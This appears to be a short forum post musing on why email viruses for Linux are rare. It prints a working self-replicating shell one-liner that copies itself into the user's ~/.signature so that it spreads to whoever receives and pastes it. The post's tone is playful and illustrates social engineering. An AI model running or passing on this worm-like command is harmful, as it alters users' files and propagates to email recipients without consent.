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Unix email viruses, do they exist?

Seeing all the thousends of email viruses in my spam folder, all probably specific to windows, iam wondering why havnt i seen any for linux. Are linux users too intelligent to copy and past unknown code into their terminal or execute a attached executable?

Its not hard to write a email virus for linux, if you dont belive me see the example below. Note, the code is public domain i dont claim any copyright on it. Standard disclaimer: iam not resposible for the consequences of using this code for anything even less so modificated variants of it. Iam just providing this for scientific purposes! Do not use it for any evil!

echo ' echo echo `echo -e \\\47;cat /tmp/t;echo -e \\\47`\>/tmp/t\;. /tmp/t>>~/.signature'>/tmp/t;. /tmp/t

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